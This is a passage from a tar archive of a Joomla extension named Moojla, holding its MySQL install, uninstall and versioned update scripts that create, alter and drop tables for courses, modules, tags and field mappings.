	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_contents_module_id` (`contents_module_id`),
	KEY `idx_type` (`type`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;

CREATE TABLE IF NOT EXISTS `#__moojla_category_map` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`jcatid` INT(64) NULL DEFAULT 0,
	`mcatid` INT(64) NULL DEFAULT 0,
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;

CREATE TABLE IF NOT EXISTS `#__moojla_cohort` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`course_group` INT(11) NOT NULL DEFAULT 0,
	`mcohort` INT(11) NOT NULL DEFAULT 0,
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_mcohort` (`mcohort`),
	KEY `idx_course_group` (`course_group`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;

CREATE TABLE IF NOT EXISTS `#__moojla_favorite` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
`userid` INT(11) NOT NULL DEFAULT 0,
`courseid` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;

CREATE TABLE IF NOT EXISTS `#__moojla_rate` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
`userid` INT(11) NOT NULL DEFAULT 0,
`courseid` INT(11) NOT NULL DEFAULT 0,
`rate` INT(4) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;



--
-- Always insure this column rules is large enough for all the access
control values.
--
ALTER TABLE `#__assets` CHANGE `rules` `rules` TEXT NOT NULL COMMENT
'JSON encoded access control. Enlarged to TEXT by JCB';
sql/uninstall.mysql.utf8.sql000064400000001562151165724400012137
0ustar00DROP TABLE IF EXISTS `#__moojla_course`;
DROP TABLE IF EXISTS `#__moojla_course_field_mapper`;
DROP TABLE IF EXISTS `#__moojla_user_map`;
DROP TABLE IF EXISTS `#__moojla_user_field_map`;
DROP TABLE IF EXISTS `#__moojla_course_group_map`;
DROP TABLE IF EXISTS `#__moojla_enrolment`;
DROP TABLE IF EXISTS `#__moojla_tag`;
DROP TABLE IF EXISTS `#__moojla_tag_instance`;
DROP TABLE IF EXISTS `#__moojla_section`;
DROP TABLE IF EXISTS `#__moojla_module`;
DROP TABLE IF EXISTS `#__moojla_content`;
DROP TABLE IF EXISTS `#__moojla_category_map`;
DROP TABLE IF EXISTS `#__moojla_cohort`;
DROP TABLE IF EXISTS `#__moojla_favorite`;
DROP TABLE IF EXISTS `#__moojla_rate`;


--
-- Always insure this column rules is reversed to Joomla defaults on
uninstall. (as on 1st Dec 2020)
--
ALTER TABLE `#__assets` CHANGE `rules` `rules` varchar(5120) NOT NULL
COMMENT 'JSON encoded access control.';
sql/updates/index.html000064400000000054151165724400011011
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>sql/updates/mysql/1.0.0.sql000064400000001275151165724400011344
0ustar00ALTER TABLE `#__moojla_course` ADD `cat_id` INT(10) NOT NULL
DEFAULT 0 AFTER `asset_id`;

ALTER TABLE `#__moojla_course` ADD `cat_name` CHAR(255) NOT NULL DEFAULT
'' AFTER `cat_id`;

ALTER TABLE `#__moojla_course` ADD `cost` INT(50) NOT NULL DEFAULT 0 AFTER
`cat_name`;

ALTER TABLE `#__moojla_course` ADD `guest` INT(10) NOT NULL DEFAULT 0 AFTER
`cost`;

ALTER TABLE `#__moojla_course` ADD `mytextarea` TEXT NOT NULL AFTER
`guest`;

ALTER TABLE `#__moojla_course` ADD `mytextblock` TEXT NOT NULL AFTER
`mytextarea`;

ALTER TABLE `#__moojla_course` ADD `teachers` TEXT NOT NULL AFTER `name`;

ALTER TABLE `#__moojla_course` ADD `title` VARCHAR(255) NOT NULL DEFAULT
'' AFTER `teachers`;
sql/updates/mysql/1.0.1.sql000064400000000242151165724400011336
0ustar00ALTER TABLE `#__moojla_course` CHANGE `mytextblock` `summary` TEXT
NOT NULL;

ALTER TABLE `#__moojla_course` CHANGE `mytextarea` `summary_files` TEXT NOT
NULL;
sql/updates/mysql/1.0.10.sql000064400000000134151165724400011416
0ustar00ALTER TABLE `#__moojla_course` ADD `enddate` DATETIME NOT NULL
DEFAULT '' AFTER `currency`;
sql/updates/mysql/1.0.11.sql000064400000000257151165724400011425
0ustar00ALTER TABLE `#__moojla_course` CHANGE `enddate` `enddate` DATE NOT
NULL DEFAULT '';

ALTER TABLE `#__moojla_course` CHANGE `startdate` `startdate` DATE NOT NULL
DEFAULT '';
sql/updates/mysql/1.0.12.sql000064400000000263151165724400011423
0ustar00ALTER TABLE `#__moojla_course` CHANGE `enddate` `enddate` DATETIME
DATETIME NOT NULL;

ALTER TABLE `#__moojla_course` CHANGE `startdate` `startdate` DATETIME
DATETIME NOT NULL;
sql/updates/mysql/1.0.13.sql000064400000002757151165724400011436
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_section` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`name` VARCHAR(255) NOT NULL DEFAULT '',
	`section_id` INT(10) NULL DEFAULT 0,
	`summary` TEXT NOT NULL,
	`visible` TINYINT(1) NOT NULL DEFAULT 0,
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`access` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	UNIQUE KEY `idx_section_id` (`section_id`),
	KEY `idx_access` (`access`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;

ALTER TABLE `#__moojla_course` CHANGE `enddate` `enddate` VARCHAR(255) NULL
DEFAULT '0000-00-00 00:00:00';

ALTER TABLE `#__moojla_course` CHANGE `startdate` `startdate` VARCHAR(255)
NULL DEFAULT '0000-00-00 00:00:00';
sql/updates/mysql/1.0.14.sql000064400000000134151165724400011422
0ustar00ALTER TABLE `#__moojla_section` ADD `courseid` INT(10) NOT NULL
DEFAULT 0 AFTER `asset_id`;
sql/updates/mysql/1.0.15.sql000064400000002722151165724400011430
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_module` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`description` TEXT NOT NULL,
	`modname` VARCHAR(255) NOT NULL DEFAULT '',
	`module_id` INT(10) NOT NULL DEFAULT 0,
	`module_section_id` INT(10) NOT NULL DEFAULT 0,
	`name` VARCHAR(255) NOT NULL DEFAULT '',
	`url` VARCHAR(255) NOT NULL DEFAULT '',
	`visible` TINYINT(1) NOT NULL DEFAULT 0,
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`access` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	UNIQUE KEY `idx_module_id` (`module_id`),
	KEY `idx_module_section_id` (`module_section_id`),
	KEY `idx_access` (`access`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.16.sql000064400000000120151165724400011417
0ustar00ALTER TABLE `#__moojla_module` ADD `modicon` TEXT NOT NULL AFTER
`description`;
sql/updates/mysql/1.0.17.sql000064400000002663151165724400011436
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_content` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`contents_module_id` INT(10) NOT NULL DEFAULT 0,
	`filename` VARCHAR(255) NOT NULL DEFAULT '',
	`filesize` INT(64) NOT NULL DEFAULT 0,
	`fileurl` VARCHAR(255) NOT NULL DEFAULT '',
	`mimetype` VARCHAR(64) NOT NULL DEFAULT '',
	`type` VARCHAR(64) NOT NULL DEFAULT '',
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`access` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	UNIQUE KEY `idx_contents_module_id` (`contents_module_id`),
	KEY `idx_type` (`type`),
	KEY `idx_access` (`access`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.18.sql000064400000000150151165724400011424
0ustar00ALTER TABLE `#__moojla_content` ADD `file` VARCHAR(255) NOT NULL
DEFAULT '' AFTER `contents_module_id`;
sql/updates/mysql/1.0.19.sql000064400000000134151165724400011427
0ustar00ALTER TABLE `#__moojla_module` ADD `uservisible` TINYINT(1) NOT
NULL DEFAULT 0 AFTER `url`;
sql/updates/mysql/1.0.2.sql000064400000000123151165724400011335
0ustar00ALTER TABLE `#__moojla_course` CHANGE `summary_files` `mytextblock`
TEXT NOT NULL;
sql/updates/mysql/1.0.20.sql000064400000000141151165724400011415
0ustar00ALTER TABLE `#__moojla_section` ADD `uservisible` TINYINT(1) NOT
NULL DEFAULT 0 AFTER `summary`;
sql/updates/mysql/1.0.21.sql000064400000000155151165724400011423
0ustar00ALTER TABLE `#__moojla_course` ADD `permanent_fields` VARCHAR(64)
NOT NULL DEFAULT '' AFTER `in_enrol_date`;
sql/updates/mysql/1.0.22.sql000064400000000117151165724400011422
0ustar00ALTER TABLE `#__moojla_user_map` ADD `courses` TEXT NOT NULL AFTER
`asset_id`;
sql/updates/mysql/1.0.23.sql000064400000000143151165724400011422
0ustar00ALTER TABLE `#__moojla_user_map` ADD `mysecretvariable` TINYINT(1)
NOT NULL DEFAULT 0 AFTER `mid`;
sql/updates/mysql/1.0.24.sql000064400000002252151165724400011426
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_user_field_map` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`juserfields` VARCHAR(64) NOT NULL DEFAULT '',
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`access` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_juserfields` (`juserfields`),
	KEY `idx_access` (`access`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.25.sql000064400000000156151165724400011430
0ustar00ALTER TABLE `#__moojla_user_field_map` ADD `muserfields`
VARCHAR(64) NOT NULL DEFAULT '' AFTER `juserfields`;
sql/updates/mysql/1.0.26.sql000064400000000134151165724400011425
0ustar00ALTER TABLE `#__moojla_enrolment` ADD `course` INT(11) NOT NULL
DEFAULT 0 AFTER `asset_id`;
sql/updates/mysql/1.0.27.sql000064400000000127151165724400011430
0ustar00ALTER TABLE `#__moojla_enrolment` ADD `jid` INT(11) NOT NULL
DEFAULT 0 AFTER `course`;
sql/updates/mysql/1.0.28.sql000064400000002326151165724400011434
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_course_group_map` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`course_group` INT(7) NOT NULL DEFAULT 0,
	`mid` INT(64) NOT NULL DEFAULT 0,
	`role` INT(7) NOT NULL DEFAULT 0,
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_mid` (`mid`),
	KEY `idx_course_group` (`course_group`),
	KEY `idx_role` (`role`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.29.sql000064400000000151151165724400011427
0ustar00ALTER TABLE `#__moojla_course_group_map` ADD `remoteid` INT(10) NOT
NULL DEFAULT 0 AFTER `course_group`;
sql/updates/mysql/1.0.3.sql000064400000000123151165724400011336
0ustar00ALTER TABLE `#__moojla_course` CHANGE `mytextblock` `summary_files`
TEXT NOT NULL;
sql/updates/mysql/1.0.30.sql000064400000000143151165724400011420
0ustar00ALTER TABLE `#__moojla_course_group_map` ADD `course` INT(11) NOT
NULL DEFAULT 0 AFTER `asset_id`;
sql/updates/mysql/1.0.31.sql000064400000000143151165724400011421
0ustar00ALTER TABLE `#__moojla_course_group_map` ADD `course` INT(11) NOT
NULL DEFAULT 0 AFTER `asset_id`;
sql/updates/mysql/1.0.32.sql000064400000000143151165724400011422
0ustar00ALTER TABLE `#__moojla_course_group_map` ADD `course` INT(11) NOT
NULL DEFAULT 0 AFTER `asset_id`;
sql/updates/mysql/1.0.33.sql000064400000000143151165724400011423
0ustar00ALTER TABLE `#__moojla_course_group_map` ADD `course` INT(11) NOT
NULL DEFAULT 0 AFTER `asset_id`;
sql/updates/mysql/1.0.34.sql000064400000000144151165724400011425
0ustar00ALTER TABLE `#__moojla_course_group_map` CHANGE `course`
`moojlacourse` INT(11) NOT NULL DEFAULT 0;
sql/updates/mysql/1.0.35.sql000064400000000155151165724400011430
0ustar00ALTER TABLE `#__moojla_course_group_map` ADD `moojlacourse` INT(11)
NOT NULL DEFAULT 0 AFTER `course_group`;
sql/updates/mysql/1.0.36.sql000064400000000142151165724400011425
0ustar00ALTER TABLE `#__moojla_user_field_map` ADD `iscv` TINYINT(1) NOT
NULL DEFAULT 0 AFTER `asset_id`;
sql/updates/mysql/1.0.37.sql000064400000002111151165724400011424
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_course_field_mapper` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`alias` INT(10) NOT NULL DEFAULT 0,
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_alias` (`alias`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.38.sql000064400000000001151165724400011421 0ustar00
sql/updates/mysql/1.0.39.sql000064400000000343151165724400011433
0ustar00ALTER TABLE `#__moojla_course_field_mapper` ADD `coursefield`
INT(10) NOT NULL DEFAULT 0 AFTER `asset_id`;

ALTER TABLE `#__moojla_course_field_mapper` ADD `mcoursefields` VARCHAR(64)
NOT NULL DEFAULT '' AFTER `coursefield`;
sql/updates/mysql/1.0.4.sql000064400000000577151165724400011354
0ustar00ALTER TABLE `#__moojla_course` ADD `currency` VARCHAR(10) NOT NULL
DEFAULT 0 AFTER `cost`;

ALTER TABLE `#__moojla_course` ADD `fullname` VARCHAR(255) NOT NULL DEFAULT
'' AFTER `currency`;

ALTER TABLE `#__moojla_course` ADD `remoteid` INT(10) NOT NULL DEFAULT 0
AFTER `guest`;

ALTER TABLE `#__moojla_course` ADD `shortname` VARCHAR(255) NOT NULL
DEFAULT '' AFTER `remoteid`;
sql/updates/mysql/1.0.40.sql000064400000000163151165724400011423
0ustar00ALTER TABLE `#__moojla_course_field_mapper` ADD `field_icon`
VARCHAR(255) NOT NULL DEFAULT '' AFTER `coursefield`;
sql/updates/mysql/1.0.41.sql000064400000000165151165724400011426
0ustar00ALTER TABLE `#__moojla_course_field_mapper` ADD `mcoursefields`
VARCHAR(64) NOT NULL DEFAULT '' AFTER `coursefield`;
sql/updates/mysql/1.0.42.sql000064400000000163151165724400011425
0ustar00ALTER TABLE `#__moojla_course_field_mapper` ADD `somefield`
VARCHAR(10) NOT NULL DEFAULT '' AFTER `mcoursefields`;
sql/updates/mysql/1.0.43.sql000064400000000162151165724400011425
0ustar00ALTER TABLE `#__moojla_course_field_mapper` ADD `imageicon`
VARCHAR(255) NOT NULL DEFAULT '' AFTER `coursefield`;
sql/updates/mysql/1.0.44.sql000064400000002354151165724400011433
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_course_field_mapper` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`coursefield` INT(10) NOT NULL DEFAULT 0,
	`field_icon` VARCHAR(255) NOT NULL DEFAULT '',
	`mcoursefields` VARCHAR(64) NOT NULL DEFAULT '',
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_coursefield` (`coursefield`),
	KEY `idx_mcoursefields` (`mcoursefields`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.45.sql000064400000004742151165724400011437
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_tag` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`isstandard` TINYINT(1) NOT NULL DEFAULT 0,
	`tagid` INT(10) NOT NULL DEFAULT 0,
	`tagname` VARCHAR(64) NOT NULL DEFAULT '',
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`access` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_tagid` (`tagid`),
	KEY `idx_access` (`access`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;

CREATE TABLE IF NOT EXISTS `#__moojla_tag_instance` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`moodletag` INT(10) NOT NULL DEFAULT 0,
	`moojlacourse` INT(11) NOT NULL DEFAULT 0,
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`access` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	UNIQUE KEY `idx_moodletag` (`moodletag`),
	KEY `idx_moojlacourse` (`moojlacourse`),
	KEY `idx_access` (`access`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=utf8mb4 DEFAULT
COLLATE=utf8mb4_general_ci ROW_FORMAT=DYNAMIC;
sql/updates/mysql/1.0.46.sql000064400000002473151165724400011437
0ustar00CREATE TABLE IF NOT EXISTS `#__moojla_course_field_mapper` (
	`id` INT(11) NOT NULL AUTO_INCREMENT,
	`asset_id` INT(10) unsigned NOT NULL DEFAULT 0 COMMENT 'FK to the
#__assets table.',
	`coursefield` INT(10) NOT NULL DEFAULT 0,
	`field_icon` VARCHAR(255) NOT NULL DEFAULT '',
	`mcoursefields` VARCHAR(64) NOT NULL DEFAULT '',
	`params` text NOT NULL,
	`published` TINYINT(3) NOT NULL DEFAULT 1,
	`created_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`modified_by` INT(10) unsigned NOT NULL DEFAULT 0,
	`created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`modified` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
	`checked_out` int(11) unsigned NOT NULL DEFAULT 0,
	`checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00
00:00:00',
	`version` INT(10) unsigned NOT NULL DEFAULT 1,
	`hits` INT(10) unsigned NOT NULL DEFAULT 0,
	`access` INT(10) unsigned NOT NULL DEFAULT 0,
	`ordering` INT(11) NOT NULL DEFAULT 0,
	PRIMARY KEY  (`id`),
	KEY `idx_mcoursefields` (`mcoursefields`),
	KEY `idx_coursefield` (`coursefield`),
	KEY `idx_access` (`access`),
	KEY `idx_checkout` (`checked_out`),
	KEY `idx_createdby` (`created_by`),
	KEY `idx_modifiedby` (`modified_by`),
	KEY `idx_state` (`published`)
